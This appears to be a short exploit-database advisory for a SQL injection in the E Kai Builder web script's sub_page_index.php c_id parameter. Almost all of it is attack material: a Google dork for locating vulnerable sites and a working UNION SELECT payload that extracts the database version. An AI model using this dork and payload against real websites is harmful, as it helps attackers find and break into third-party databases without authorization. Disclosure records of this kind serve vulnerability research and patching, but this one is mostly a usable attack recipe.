################################################################################################ # Exploit Title: E Kai Builder SQL Injection Vulnerability # # Author : CoBRa_21 # # E-Mail : uyku_cu [at] windowslive.com # # Google Dork : inurl:sub_page_index.php?c_id= # # Script Page : http://www.e-kai.com.tw/ekai/ ################################################################################################ # # SQL Vulnerability # # http://127.0.0.1/[PATH]/sub_page_index.php?c_id=36&c_parentid=22&c_rootid=5 (SQL) # # SQL Exploit # # +UNION+SELECT+1,2,3,4,5,6,7,version(),9,10,11,12,13,14-- # ################################################################################################ # ( Vulnerability Researcher ) ################################################################################################